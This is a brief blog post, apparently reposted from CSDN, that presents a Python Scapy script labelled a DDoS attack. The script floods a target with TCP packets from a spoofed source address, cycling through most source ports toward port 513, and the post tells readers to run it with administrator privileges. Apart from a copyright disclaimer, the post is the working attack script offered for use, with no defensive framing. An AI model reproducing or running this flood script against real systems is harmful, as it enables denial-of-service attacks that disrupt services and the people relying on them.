python ddos attack is

Disclaimer: This article is a blogger original article, follow the CC 4.0 BY-SA copyright agreement, reproduced, please attach the original source link and this statement.
This link: https://blog.csdn.net/WitherHeker/article/details/102760873
from scapy.all import *

def synFlood ( src , tgt ):


    for sport in range(1024, 65535):
        IPlayer = IP(src = src, dst = tgt)
        TCPlayer = TCP(sport = sport, dport = 513)
        pkt = IPlayer / TCPlayer
        send(pkt)

src = '10.1.1.12'
tgt = ''#目标地址
synFlood(src,tgt)

Remember to open with administrator privileges cmd, enter scapy
then write code.

Guess you like

Origin blog.csdn.net/WitherHeker/article/details/102760873